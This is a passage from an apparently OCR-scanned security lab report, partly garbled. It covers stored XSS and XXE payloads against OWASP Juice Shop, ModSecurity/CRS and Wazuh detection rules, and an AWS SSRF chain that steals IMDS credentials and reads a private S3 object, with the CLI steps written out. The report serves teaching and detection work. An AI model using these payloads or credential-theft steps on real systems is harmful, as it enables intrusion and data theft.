3 Content-Length: 73 3 Date: Sat, 11 Jul 2026 17:12:44 GMT

4 Cache-Control: max-age=0 4 Content-Type: text/html; charset=utf-8

5 Accept-Language: en-US,en;g=0.9 5 Content-Length: 37

5 Origin: http://100.85.61.41 Connection: keep-alive

7 Content-Type: application/x-www-form-urlencoded 7 MAccess-Control-Allow-Origin: *

5 Upgrade-Insecure-Requests: 1 5 X-Content-Type-Options: nosniff

' User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 9 X-Frame-Options: SAMEORIGIN
Chrome/145.0.0.0 safari/537.36 10 Feature-Policy: payment 'self'

10 Accept: 11 X-Recruiting: /#/jobs
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*¥ 12 Location: /profile
;q=0.8,application/signed-exchange;v=b3;q=0.7 13 vary: Accept, Accept-Encoding

11 Referer: http://100.85.61.41/profile 14

12 Accept-Encoding: gzip, deflate, br 15 <p>

13 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; Found. Redirecting to /profile
continueCode=rzm52qwZ4bQ97v3Pk VNAOmcnIzTpSPPhbxulkIbnGKepXnBORWIY1aBMExjo; token= =/p>

ey JOeXA101JKV1QiLCIhbGci01iJSUzI1NIJ9, ey JzdGFOdXML01JzdWN] ZXNzIiwi ZGFOYSIGey JpZCIEM] QsInVzZ
XJuYW11IjoibGVydChgeHNzYCkBL3N] cmlwdD4iLCI1bWFpbCIGImFShbWFUZUBL bGO1YWZpLmNvbSIsInBhc3N3b3)
kIjoiZTAOYWNkODI1MGQ2NDAYOGM2M2Q4NTcy 0Tk 00GQ4ANDELLCIyb2x11701Y3VzdGot ZXI1LCIkZWx1eGVUb2t1h
1I6IiIsImxhc3RMb2dpbklwIjoiMC4wl]j AUMCISInByb2ZpbGVIbWFNZSIGImFzc2VOcy SwdWlsaWMvaWlhzZ2vzL3v
wh GShZHMvMj QuanBnIiwidGOOcFNLY3J1dCIGIiIsIml zOWNOaXZLIjpOcnVILCI] cmVhdGVkOXQi0iIyMDI2LTASL
TExVDE20j 1307 AwLj YzNFoilLCJ1cGRhdGVkQXQi0iIyMDI 2L TASLTEXVDE30] A207 M4L] I20Voil CIkZWx1 dGVkQXQ
10mS1bGx9LCIpYXQi0j E30DM30Dk10ThS. ty 1RWPFM- pz T yuvkbt zWmt g_WhSnwXn3s5HVYhelwufva91mJI63FbQB
-6k fAL -Bx217YS59VAG4yUHqqKCgqa 7 7ExCGCSSI1Ur rZ7yWaw6wZ2s DpoHy LSHHhCwu4FiNTKchuai6agqdydoj hQ2
0VsKYalAoZ70qqrSMvu3fhBgls

16 imageUrl=http://test.png: script-src 'unsafe-inline' 'self' 'unsafe-eval'

Figure 66. Burp — setting the profile image URL to a crafted value that loosens the CSP (script-
Src).

In Burp, intercept POST /profile and set the username to a doubled-tag payload:

POST /profile (urlencoded)
username=<<script>sscript>alert(*xss)</script>

Email:
ayman louafi.com
Username:

<<script>ascript>alert('xss’)</script3|

Set Username

T EUEEEE

& OWASP Juice Shop x | M OWASP Juice Shop

€ X A Notsecure 100.85.61.41

100.85.61.41 says

Xss

Figure 68. Cross-Site Scripting — the injected script executes (alert fires) despite the CSP.
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The doubled <<script>sscript> is a filter-evasion trick: when the app strips the inner

<script> the remainder reassembles into a working tag.

Proof: alert('xss') executes when the profile renders.

4.4.7 XML External Entity — Challenge "file upload"

Challenge / goal: abuse the XML file-upload feature, whose parser resolves external
entities, to read a local file. Upload an XML file whose DTD defines an external entity

pointing at /etc/passwd:
/tmp

— xxe.xml
<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE xxe [

CVELEMENT xxe ANY>

TENTITY xxe SYSTEM “"file:///etc/passwd™>

>

<xXxe>gxxe;</ xxe>

/tmp

Figure 69. The malicious XML (xxe.xml) declaring an external entity: DOCTYPE/ENTITY SYSTEM

file:///etc/passwd.

Submitted as a multipart file to POST /file-upload. Juice Shop marks the route deprecated
and answers 410, but it parses the entity first and echoes the file back in the error body.

Proof: the response contains root:x:0:0... — a local file has been disclosed.

£V Host Method  URL Paams Edited  Statuscode  Length  MIMEtype Extension  Title Notes s e Cookies

T147 _hitpJ/100.85.6141 POST _fle-upload 7 gi] 3178 __HIML Error: B2B customer com... T00.85.6141

Request Response ==
Pretty Raw Hex I N = prety Raw Hex Render Iy n =

1 HTTP/1.1 410 Gone

1 POST /file-upload HTTP/1.1
1 2 Server: nginx/1.28.3 (Ubuntu)

Host: 100.85.61. 4]
Content -Length: 319 3 Date: Wed, 05 Aug 2026 14:01:17 GMT

4 Authorization: Bearer 4 Content-Type: text/html: charset=utf-8
ey J0&XAL0i IKV1Qi LCIhbGei0i JSUZTING 9. ey JKYXRhIj p7ImLk Ij oyNCWidXNLenShbWUiOiTiLCILBWFD 5 Connection: keep-alive
bCISINFAYSISInBhc3N3b3Jk ] 0i0DISY2Ni MGVLYThhNZAZYZR] MzRhMTY40TFRODRLN2TiL Clyb2x11j 0iY Access-Control-Allow-Origin: *

3V2dGOt ZXT1LCIKZWx1eGVUb 2t LbiT6Ti IsImxhc3RMb2dpbklwlj 0iMTCyLjESL] AUMSISInByb2ZpbGVIbW 7 x_Content-Type-Options: nosniff
FnZSI6T15hc3NL dHHycHVibGL L2t YWdlcy 91cGxvwYWRzL2RL ZnF1bHQUC3ZnTiwidGI0cFNLY3ILCIEIAT 5 X-Frame-Options: SAMEORIGIN
SInlZONNOaXZLTjpOcnV1LCI] cnvhdGVkQXQi0iIyMDI2LTA4LTALIDEWO] MOO] MAL] AxNiAr MDAGMDALLCI1 Feature-Policy: payment 'self'

N

GRhdGVKOXQ1 01 Ty MDI 2L TA4LTALIDEO] MOO] Q2L Q40CArMDAEMDAL LCIKZWx1 dGVKOXQiONS1bGXILCIia 10 X-Recruiting: /#/jobs
WQ10j YsInl hdCTI6MTc4NTkyODAZNHO . el - OPN- IseFZpx4Ky_3Iz0RrHKd8dChbt IgCakGhrCSTPIfIStSIL 11 vary: Accept-Encoding
Sh-RNARgIPgJ47rnZSQZxFniv3kNX CXhKbWVUHNNZDZSp1 AACHxgwOTi-ERyvdAX_aTAfNK7bgvIyeiE GZ€ 12 Content-Length: 1831
L4RsR_1h- xuNoaH1 AfwpOKybInKWezk 13

S Accept-Language: en-US,en;g=0.9 14 <htnl>
User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 15 <head>
Chrome/145.0.0.0 Safari/S37.36 1 <neta charset='utf-8'>
Content-Type: multipart/form-data; boundary=----WebKitFornBoundarytHlspxanreAuQu7k

8 Accept: */% 1 <title>

9 origin: http://100.85.61.41
Referer: http://100.85.61.41/

1 Accept-Encoding: gzip, deflate, br L&A1 4 2Ll EMENT. ANYSGH 61| ENTTTY. STEM

Error: B2B customer complaints via file upload have been deprecated for security reasons:
&lt; 7xnl version=&quot;l.0&quot; encoding=&quot;utf-B&quot ; 7&gt; &1t ; |DOCTYPE xxe

Cookie: language=en; welcomebanner_status=disniss; cookieconsent_status=dismiss:
token=
ey J0eXAi0iJKV1QiLCIhbGei0iISUzIINi 9. ey JkYXRhIjp7ImlkIjoyNCwidXNL cmShbWUi0iIil.CI1bWFp

:/sbin/nologin&lt;/xxe&gt; (xxe.xml)

Saquot;file:///etc/passwdbquot ; &gt ; 1&gt ; &1t ; xxekgt ; root:x:0:0: root : /oot : /sbin/nol oginnobody
1%:65534:65534: nobody : /nonexistent : /sbin/nologinnonroot : x; 65532; 65532: nonroot : /home/nonroot

bCIGIMFAYSIsInBhc3N3b3JkIj010DI3Y2Ni MGV YThhNzA2YzZR] MzRhMTY40TFmODRLN2IiLClyb2x11j01Y T
3VzdG9t ZXTiLCIkZWx1 eGVUb2t 1 biT6Ti IsImxhc3RMb2dpbklwlj 0iMTcyLjESL] AUMSIsInByb2ZpbGVIbW 1 <style>
FnZSI6I1i9he3NLdHMvcHVibGLjL21tYWd1l cy 91cGxwYWRzL2R1 ZnF1bHQuC 3ZnIiwidGIOCFNLY: *{
SInlzOWNOaXZL T3 pOcn V1 LCJ3 cmVhdGVkQXQ1 01 Ty MDT 2L TAALTAL TDEWO; MOO; MAL] AxNi Ar MDAGHDAL 1 wargin:®;
€GRhGVKQXQ101 Iy HDI 2LTA4LTALIDEWO] HOOj Q2L Q40CAr MDAGMDALLCIk Zx1 dGVk QXQiOnSLbGxSl padding: 0;
WQi0j YsInlhdCIGMTCaNTkyODAZNHO . el -OPN- TseFZpx4Ky_SIzORrHKdBdChbt IgC4kGhrCSTPIFIStSIIL | 21 outline:0;
Sh-RN4RgIPgJ47rnZSQZxFniv3kNXfcXhKbWvuHNNZDZSpl AAcMxgwOfi-EPyvdAX_aTAfNk7bgvIyeiE Gze }
L4RsR]_1h-xuNoaH1AfwpOKybInKW6zk; continueCode= 2

Mk 2JwoP3NzadgWnl r ABJCcvTzSmmhLATENH7 r HOvhaLAX7bnxv9Ey1BAD] 8VZ 4 body{

13 Connection: keep-alive

WebKitFornBoundarytHl spxamreAuQu7k
Content-Disposition: form-data; name="file';

filename="xxe. xnl"
Content-Type: text/xnl

padding: 80px100px;

font:13px"Helvetica Neue',Lucida Grande®,“Arial";

background: #ECE9ES-webkit -gradient (linear, 0%0%, 0%100%, from(#fff), to(#ECESEI) ) ;
background: #ECE9E9-moz -linear-gradient (top,#fff, #ECE9E9) ;
background-repeat:no-repeat;

el

| Figure 70. XML External Entity — upl-oading the payload to POST /file-upload.
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4.5 Web-Layer Detection & Monitoring

Executing the attacks is only half of Scenario 1. The point of the project is to see them. This
section first sets out how web-layer detection should be approached in general, then
describes exactly what we built.

How web-layer detection should be done (reverse proxy, the visibility gap,
and WAFs)

Nginx as a reverse proxy

Web Server

O
= Web S .
Client Internet Reverse b Server

Proxy

.

Web Server

Internal Network

Figure 71: How a reverse proxy work ?

A reverse proxy sits between the client and the backend: the client connects to the proxy,
which terminates the connection (including TLS), chooses a backend, and relays the
response — so only the proxy is ever exposed and the backend's real address, port, and
implementation stay hidden. Nginx does this with an event-driven, non-blocking worker
model that scales to enormous request volume as a single chokepoint. In our lab it sits in
front of Juice Shop, terminating on :80 and proxy_pass-ing to 127.0.0.1:3000.

The problem: Nginx only sees and logs the HTTP transaction, not the packets

ubuntu@ip-10
.188.8
.188.8
.188.8
.188.8
.188.8
8

8

8

8

8

-1-28:-% sudo tail /var/log/nginx/access.log

- [20/Aug/2026:15:09:13 +0000] "POST /rest/user/login HTTP/1.

- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.1"
- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.

- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.

- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.1"
- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.

- [206/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.

- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.1"
- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.

- [20/Aug/2026:15:09: +0000] "POST /rest/user/login HTTP/1.1"

.188.
.188.
.188.
.188.
.188.

[ I I R I N R R B B B == )

Figure 72. nginx access.log failed login stream

Nginx, by default, writes only a one-line summary per request to access.log — client IP,
timestamp, request line, status, byte count, and a couple of headers. It never records the
request body, most headers, the TLS handshake, or the literal bytes on the wire, so anything
malformed or below the HTTP layer is invisible to it. To see exactly what was sent you must
drop a layer down and capture the traffic (for example with Wireshark) — ground truth, but
a manual, one-incident-at-a-time tool that does not scale as a standing detection control.
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The better solution: put a WAF in the request path

A web application firewall closes exactly this gap — not by capturing more bytes, but by
understanding each HTTP transaction semantically, in real time, for every request, and
turning it into structured, queryable security events instead of a one-line log. There are two
ways to deploy one, and they are a real trade-off.

Option A (AWS WAF)

{/D ﬁﬁﬂ\\ﬁ Threats

Api Gateway DDoS Attacks
SAL injection

XSS Attacks

Pay per use abuse

E]
[-— - - = ]
.
mi
Load Balancer
Cc2

E

Figure 73. Where a WAF sits — inspecting traffic to the APl Gateway/Lambda and load-balanced
ECS/EC2 tiers, blocking common web threats.

AWS WAF is a managed, cloud-native WAF that attaches directly to an Application Load
Balancer, CloudFront, or APl Gateway — no server of your own to run. It is built around a
Web ACL: an ordered set of rules, each inspecting part of the request (a header, the URI,
the body, the query string) against a condition, with an action of ALLOW, BLOCK, or
COUNT (log-only).

Important Concepts

@ Web Access Control Lists (ACLs)

Required entity for associating Rules / Rule Groups to resources

@ Rules m Tﬁ. @
Individual statements for inspection criteria

90@#]

Allow Block Captcha Count

Configure rules to perform action
Don't have an ID - just JSON
C

@ Rule Groups

Collection of rules

Create your own or buy them from AWS Marketplace

Figure 74. AWS WAF core concepts — Web ACLs, rules (Allow/Block/Captcha/Count), and rule
groups.

Rules are evaluated in priority order and the first matching terminating rule decides the
outcome. Rather than write every rule yourself, AWS provides Managed Rule Groups (Core
Rule Set, known-bad-inputs, SQL, IP reputation) — the same idea as CRS, curated by AWS
instead of the OWASP community.
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Option B (ModSecurity, self-hosted on the EC2 instance)

A

Website User

l
NGEMX

modsecurity

Open Source Web Application Firewall

l

Backend Services

Figure 75. The self-hosted alternative — Nginx + ModSecurity in front of the app, with alerts
shipped to a logging pipeline.

This is what our lab runs, precisely because that engine-level detail is the point of a
detection-engineering exercise. ModSecurity is not a proxy but a rule-processing module
attached to the web server (here to Nginx via the ModSecurity-nginx connector) that
inspects every transaction inside Nginx's own pipeline across five ordered phases —
REQUEST_HEADERS, REQUEST_BODY (the main analysis phase), RESPONSE_HEADERS,
RESPONSE_BODY (to catch data leaving the app, e.g. a leaked stack trace), and LOGGING.
Each rule names a variable to inspect (ARGS, REQUEST_BODY, REQUEST_URI...), applies
transformations to normalise it first (t:lowercase, t:urlDecodeUni, t:removeNulls — undoing
the encoding tricks attackers use), then an operator decides the match (@rx regex, @pm
multi-pattern, or a purpose-built detector like @detectSQLi). This
variable/transformation/operator structure is what makes it a general engine, not a fixed
signature list.

The CRS ruleset running on top of that engine

(CRS 3 is designed as an anomaly scoring rule set):

@ -3 -B3-3 -
Inbound anomaly
score threshold: 5

HTTP request

Anomaly score

Rule severity Rule 1 Rule 2 Rule 3 BIockuflg
CRITICAL NOTICE NOTICE evaluation
Result—
NO MATCH NOMATCH ~ MATCH (Add 2) PASS

B -E -3 -3 X
Inbound anomaly
score threshold: 5

Rule 1 Rule 2 Rule 3 Blocking
CRITICAL NOTICE NOTICE evaluation
MATCH (Add5) MATCH (Add2)  NO MATCH DENY

Figure 76. OWASP CRS anomaly scoring — each matching rule adds to a score; the request is
denied once it crosses the threshold.
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CRS 3 uses anomaly scoring (also called collaborative detection), which decouples detection
from blocking. A rule that matches does not block on its own — it adds to a running
transactional anomaly score and logs the match (rule ID, matched data, URI). Once all
request rules have run, the score is compared to the inbound threshold and the request is
denied if it meets or exceeds it; the same is then done for the response rules against an
outbound threshold. In summary:

1. Execute all request rules
2. Make a blocking decision using the inbound anomaly score threshold
3. Execute all response rules

4. Make a blocking decision using the outbound anomaly score threshold

What we did in our project
We implemented exactly this pipeline for Juice Shop, in Wazuh.
The telemetry

Each transaction ModSecurity inspects becomes one JSON object beginning with
{"transaction": ...}. It is richly structured — the fields we build rules on are:

{ "transaction": {
“client_ip": "...", "time_stamp": "...",
"request": {"method": "POST", "uri": "/profile", "body": ".." "headers": {...} },
"response": { "http_code": 302, "headers": {...} },
"producer": { "modsecurity": "ModSecurity v3.0.14 (Linux)",
“connector": "ModSecurity-nginx v1.0.3",
"secrules_engine": "DetectionOnly",
"components": ["OWASP_CRS/4.29.0-dev"] },
"messages": [ { "details": { "ruleld": "941100",
"tags": ["attack-xss", "paranoia-level/1", "OWASP_CRS", ...]1}}, ... ]
3}

Two properties of this record drive the whole detection design: the CRS attack tags (attack-
xss, attack-ssrf, ...) live inside transaction.messages|].details.tags, and the last message is
always CRS's anomaly-score verdict (rule 949110, "Inbound Anomaly Score Exceeded") — the
cumulative score that, in blocking mode, would decide whether the request is dropped.

Decoding: a dedicated ModSecurity decoder.

A Wazuh rule can only test fields that a decoder has extracted, so we use a dedicated
modsecurity_decoder — a JSON_Decoder plugin that flattens the audit JSON into dot-
notation fields (transaction.request.uri, transaction.producer.modsecurity, ...):

<decoder name="modsecurity_decoder">
<prematch type="pcre2">"\{"transaction":</prematch>
<plugin_decoder>JSON_Decoder</plugin_decoder>
<use_own_name>true</use_own_name>

</decoder>
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e The base rule

A single non-alerting parent groups every ModSecurity audit event so the classifiers can
chain off it:

<rule id="100020" level="0">
<decoded_as>modsecurity_decoder</decoded_as>
<field name="transaction.producer.modsecurity">ModSecurity</field>
<description>ModSecurity JSON audit event from Juice Shop target</description>
<group>modsecurity,juice_shop,web_attack,</group>
</rule>
e The classifier, authentication, and correlation rules :

Every classifier chains off the base rule (<if_sid>100020</if_sid>) and, where the CRS
attack tag is trustworthy, simply keys on it via <match>; where the tag is ambiguous or
missing, the rule matches the structure of the attack instead. All classifiers carry the
web_attack_observed group so the correlation rules can roll them up, plus a MITRE
ATT&CK id (web exploitation is T1190).

Rule Level Technique How it fires (key logic) ATT&CK

100021 5 SQL injection  CRS attack-sqli and URI scopedto T1190
/rest/user/login or
/rest/products/search

100030 5 NoSQL injection Structural — PATCH T1190
/rest/products/reviews with a

Mongo operator object "id":{"$...":...}

in the body
100040 5 Cross-site CRS attack-xss (reliable — one CSP- T1190
scripting bypass tripped four CRS rules at
once)
100060 5 SSRF CRS attack-ssrf (CRS 934110 cloud- T1190
metadata URL / 931100 RFI-by-IP)
100080 7 LFI / path CRS attack-Ifi (e.g. ../package.json); T1190,
traversal rated higher — a file read beats an  T1083
attempt
100090 8 XXE Structural — body regex for T1190

DOCTYPE ... ENTITY ...
SYSTEM/PUBLIC pointing at

file:/http:
100091 5 Failed Structural — a POST to a login URI T1078
authentication answered 401/403 (one is routine)
100092 10 Brute force 5% 100091 from the same client_ip T1110
within 60 s
100070 12 Correlated web 5x any web_attack_observed event T1190
attack from the same IP in 60 s — one
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attacker probing

100071 14 Web-attack <global_frequency> — a high-rate —
flood storm across different IPs;
ignore="60" = one summary/min
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Chapter 5 : Cloud & Container Security

Chapter 2 argued that in the cloud the perimeter multiplies into many trust boundaries and
that identity is the decisive control at each crossing. This chapter puts that thesis under
attack. Three scenarios exercise three different cloud attack surfaces :

# Scenario Component under Entry point The prize
study
2 SSRF — cloud EC2/IMDS, IAM SSRFinaweb A private S3 object
credential theft roles, S3 app
3 SSTI—=Container Docker, IMDSv2,  SSTI/RCE ina The finance database
escape — full cloud 1AM, STS, SSM, RDS container
compromise
4 Serverless identity Cognito, API A low-privilege Restricted finance-
pivot / confused Gateway, Lambda,  Cognito user audit records
deputy STS, Secrets
Manager

5.1 Scenario 2 — SSRF to Cloud Credential Theft

Home > Technigues > Enterprise > Unsecured Credentials > Cloud Instance Metadata API

Unsecured Credentials: Cloud Instance Metadata API

Other sub-techniques of Unsecured Credentials (8) v

Adversaries may attempt to access the Cloud Instance Metadata AP to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata AP1 which is a service provided to running virtual instances that allows applications to access
information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data
such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata APl is provided as a convenience to assist in managing

applications and is accessible by anyone who can access the instance.!! A cloud metadata API has been used in at least one high profile compromise. ™

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to
additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to

gain access to the sensitive information via a request to the Instance Metadata APL=

The de facto standard across cloud service providers is to host the Instance Metadata APl at nttp[:]//169.254.169.254

Figure 77. MITRE ATT&CK T1552.005 — Unsecured Credentials: Cloud Instance
Metadata API

The ATT&CK backbone — T1552.005 (Unsecured Credentials: Cloud Instance Metadata
API).

This is the first path T1190 pointed to: reaching the cloud API through the metadata
service. MITRE T1552.005 describes it precisely — an adversary running on a cloud
instance queries the Instance Metadata Service at 169.254.169.254 to harvest the instance
role's temporary credentials. The SSRF flaw below is only the delivery mechanism; the
technique actually being exercised is credential theft from IMDS.

5.1.1 The idea

Scenario 2 is the shortest chain in the project and the most fundamental cloud attack there
is. A small web app on the target EC2 has a Server-Side Request Forgery (SSRF) flaw — it
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fetches whatever URL a user gives it. The attacker points that fetch not at a website but at
the instance's own metadata service, reads back the temporary credentials of the EC2 role,
and uses them to read a private S3 object. Nothing here defeats a firewall: the instance is
supposed to reach its metadata service and supposed to read S3 — the attack simply makes
the server do both on the attacker's behalf.

SSRF (app fetches attacker URL) = http:/169.254.169.254/.../iam/security-credentials/
— steal the EC2 role's temporary credentials = aws s3api get-object (as the instance)

5.1.2 What was built — the vulnerable app and IMDSv1

The target is a small Python reporting app, the Finance Operations Hub, listening on port
8090. It exposes a "remote document preview" feature — /api/preview?url=... — that
fetches a URL server-side and returns the result. That fetch is the SSRF primitive.

Finance Operations Hub

Operational 24 09:42 UTC

Remote documen 't preview Available report sets

Monthly Finance Summary Published

yyyyyyyyyyyyyyyyyyyyyyyyyy

Figure 78. The vulnerable Finance Operations Hub (port 8090) and its "Remote document
preview" field — the SSRF entry point.

APP 2 - Port 8090
http://169.254.169.254/..../iam/
http :8090 P security-credentials/<role>
S IMDSvV1
External Finance L
Attacker Operations Hub
~/scenario: 2-ssrf/access json
L 5 [ WGZUh_ ——> Decode —> Rule —> Alert
Wazuh Manager
Wazuh Agent
- finance reporting portal
—_— Decoder
=n= - aws_cloudtrail_ json Decoder
Internal 53 AWS Cloudtrail
Bucket

Figure 79. Scenario 2 architecture and detection data-flow: SSRF = IMDSv1 — stolen role =
S3, with the Wazuh telemetry path.
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How it was deliberately made vulnerable :

The instance was left on IMDSv1 on purpose — the metadata endpoint answers a plain GET
with no session token, so any server-side request that reaches 169.254.169.254 gets
credentials back. It was configured with:

aws ec2 modify-instance-metadata-options --instance-id <id> --http-tokens optional --http-
endpoint enabled

"State": "applied",

"HttpTokens": "optional",
"HttpPutResponseHopLimit": 2,
"HttpEndpoint": "enahled",
"HttpProtocolIpvé": "disabled",
"InstanceMetadataTags": "disabled"

by

Figure 80. The instance metadata options showing HttpTokens: optional — IMDSv1 is enabled
(the vulnerability).

Where this happens in the real world :

Big-time breaches

® Number of accounts exposed
150M

100M

Equifax (2017) Heartland Payment| Capital One (2019) JPMorgan (2014)
System (2008)

Source: News reports

Figure 81. Big-time breaches

This is the exact shape of the 2019 Capital One breach: an SSRF flaw reached IMDSv1,
stole a role's temporary credentials, and read roughly 100 million records from S3. It is the
single most-cited reason AWS now pushes IMDSv2 (token-required) everywhere.

5.1.3 The attack, step by step — and how each step is caught

The attacker never touches the AWS console or a stolen key. Here is exactly what they do,
in order, and where the SOC sees each move.
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Step 1 — Aim the SSRF at the metadata service

The attacker feeds the app's preview endpoint a URL pointing at IMDS instead of a
document — first at .../iam/security-credentials/ to learn the instance role's name:

/tmp

TARGET="h

ROLE_NAME=

Scenario3-Ec2-S3Reader

/tmp

Figure 82. SSRF via /api/preview reaching IMDS to discover the instance role name (Scenario3-
Ec2-S3Reader).

How we detect it :

The app writes every URL it fetches to its own request log, and because the URL contains
169.254.169.254, Wazuh rule 110702 fires: IAM role-name discovery through SSRF.

Step 2 — Steal the instance's temporary credentials

Now the attacker asks for the credentials themselves — .../security-credentials/<role> —
and IMDSv1 hands back the AccessKeyld, SecretAccessKey, and session Token:

/tmp
w 7/tl;||;)svc2-iﬁnris—cxr-eds;jsonr
600 /tmp/sc2-imds-creds.json

. /tmp/sc2-imds-creds.json

Figure 83. SSRF retrieving the role's temporary AWS credentials from IMDS — the credential-
theft success.

How we detect it — and the blind spot that shapes it :

IMDS reads are link-local HTTP, not AWS API calls, so they never appear in CloudTrail. The
theft is invisible to the cloud audit log — the only witness is the application's own request
log. That log is shipped to Wazuh, where rule 110704 fires on the successful credential

fetch:

SSRF app (server.py, :8090) — writes each fetched URL to ~/scenario2-ssrf/access.json
(JSON, "integration":"finance_reporting_portal")
— Wazuh agent on the Target EC2 (localfile)
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— finance_reporting_portal decoder (JSON_Decoder)
- rules 110700-110704

<localfile>
<log_format>json</log_format>
<location>/home/ubuntu/scenario2-ssrf/access.json</location>
</localfile>

<decoder name="finance_reporting_json">
<prematch type="pcre2">"\{"integration"\s*:\s*"finance_reporting_portal"</prematch>
<plugin_decoder>JSON_Decoder</plugin_decoder>
<use_own_name>true</use_own_name>

</decoder>

Step 3 — Become the instance

With the stolen keys, the attacker loads them into the AWS CLI and confirms the identity —
aws sts get-caller-identity now returns the assumed-role ARN of the instance:

-[/tmp
t AWS_PROFILE AWS_DEFAULT_PROFILE

AWS_DEFAULT_REGION="eu-north-
AWS_ACCESS_KEY_ID= -r '.Acces :.:x /tmp/sc2-imds-creds.json
AWS_SECRET_ACCESS_KEY= -r '.S AccessKey /tmp/scz -imds-creds.json
AWS_SESSION_TOKEN= r '.Token /tmp/scz -imds-creds.json

-[/tmp

/tmp
sts get-caller-identity

"UserId”": "AROA35SCW5ICHW4SQ6I3P:i-0le8ecl@a4cfc7577",

"Account”: "819404925444",
"Arn": "arn:aws:sts:: 819404925444 :assumed-role/Scenario3-Ec2-S3Reader/i-01e8ec10@a4cfc7577"

/tmp

Figure 85. aws sts get-caller-identity confirming the attacker now acts as the assumed instance
role.

How we detect it :

Unlike the IMDS read, using the role is real AWS API activity — so now CloudTrail sees it.
Wazuh reads CloudTrail through the aws-s3 wodle and flags the assumed-role calls (rules
110801/110802, the stolen session checking "who am I?"):

CloudTrail (management events) = S3 delivery bucket = Wazuh aws-s3 wodle

(regions: eu-north-1, us-east-1) = aws_cloudtrail_json decoder — rules 110800-110805
<wodle name="aws-s3">

<disabled>no</disabled>

<interval>10m</interval>

<run_on_start>yes</run_on_start>

<bucket type="cloudtrail">

<name>aws-cloudtrail-logs-819404925444-7b6d1cf3</name>
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<regions>eu-north-1,us-east-1</regions>
<only_logs_after>2026-JUL-14</only_logs_after>
</bucket>
</wodle>
The aws-s3 module wraps every record in an "integration":"aws" envelope, decoded by a
dedicated custom decoder into flat aws.* fields:

<decoder name="aws_cloudtrail_json">
<prematch type="pcre2">"\{"integration"\s*:\s*"aws"</prematch>
<plugin_decoder>JSON_Decoder</plugin_decoder>
<use_own_name>true</use_own_name>

</decoder>

Step 4 — Read the private S3 object

Finally, acting as the over-permissioned instance role, the attacker lists the buckets, finds
the private data-lab, and reads the confidential object:

*n

/tmp
s3api list-buckets

"Buckets": [

{

"Name": "aws-cloudtrail-logs-819404925444-7b6d1cf3",
"CreationDate”: "2026-07-14T18:06:44+00:00",
"BucketArn": "arn:aws:s3:::aws-cloudtrail-logs-819404925444-7b6d1cf3"

-
{
"Name": "company-internal-data-lab”,
"CreationDate”: "2026-07-14T15:08:23+00:00",
"BucketArn”": "arn:aws:s3:::company-internal-data-lab”
}
1,
"Owner”: {
"ID": "5aa80df532c3b1578ef36380a6bfeacdbc425bfea2e84e4f29f507307e3647a9"
-

"Prefix”: null

Figure 86. aws s3api list-buckets with the stolen role — discovering the private company-
internal-data-lab bucket.
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/tmp
s3api list-objects-v2 \

“"Contents”™: [
{
"Key": "confidential-data/",
"LastModified": "2026-07-14T715:09:41+00:00",
"ETag"™: "\"d41d8cd98f00b204e9800998ecf8427e\"",
"ChecksumAlgorithm™: [
"CRC64NVME™

ChecksumType”": "FULL_OBJECT",
Size": 0,
StorageClass”™: "STANDARD"

"Key": "confidential-data/super_secret.txt"”,
"LastModified”™: "2026-07-14T15:11:49+00:00",
"ETag": "\"@f2ccbefait97aclc194ead9d90@c3e48b\"",
"ChecksumAlgorithm™: [
"CRC64NVME"™
1.
"ChecksumType®: "FULL_OBJECT",
"Size": 50,
"StorageClass”: "STANDARD"
}
1.
"RequestCharged”: null,
"Prefix": ""

/tmp

Figure 87. aws s3api list-objects-v2 — enumerating the confidential object (confidential-
data/super_secret.txt).

/tmp
s3api get-object \

confidential-data
/tmp/sc2-super_secret.txt \

/tmp/sc2-super_secret.txt

"AcceptRanges”: "bytes”,
"LastModified”: "2026-07-14T15:11:49+00:00",
"ContentLength”: 50,
"ETag": "\"0f2ccbefa4t97aclc194ead9d90c3e48b\"",
"ChecksumCRC64NVME" : "svlL4bBqCTc=",
"ChecksumType”: "FULL_OBJECT",
"ContentType": "text/plain”,
"ServerSideEncryption™: "AES256",
"Metadata": {}

}

This file contain secret data about the company !

/tmp

Figure 88. aws s3api get-object — exfiltrating and reading the confidential S3 object (the data
breach,).

How we detect it :

The object read is a CloudTrail event tagged as assumed-role activity, so rule 110805 fires:
a GetObject on the private bucket made with the stolen instance credentials. This is the
moment the data actually leaves.
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5.1.4 How to prevent it
Four hardening layers, in order of impact:

1. Enforce IMDSv2 — set HttplTokens=required, so a caller must first PUT for a session
token (which a GET-only SSRF cannot do), and set the hop limit to 1 so a container
cannot relay the request.

2. Least-privilege the instance role — scope it to the specific bucket and prefix it must
read, so a stolen role is worth as little as possible.

3. Constrain the SSRF surface — validate/allowlist outbound URLs and, where feasible,
block egress to the link-local 169.254.169.254 at the app or host firewall.

4. Lock down S3 — keep Block Public Access enabled account-wide, write least-
privilege bucket policies, and enable default encryption.

5.1.5 Detection summary and ATT&CK mapping

The two-log design is the lesson of this scenario: the theft is caught only at the application
layer (IMDS reads never reach CloudTrail), while the use of the stolen role is caught only in
CloudTrail. Neither log alone tells the whole story.

Attacker step Telemetry Rule(s) MITRE ATT&CK
SSRF reaches IMDS, App log 110702 T1552.005 — Cloud
learns the role Instance Metadata API
Steals the role's App log 110704 T1552.005
temporary credentials
Assumes the instance CloudTrail 110801, 110802 T1078 — Valid
identity Accounts
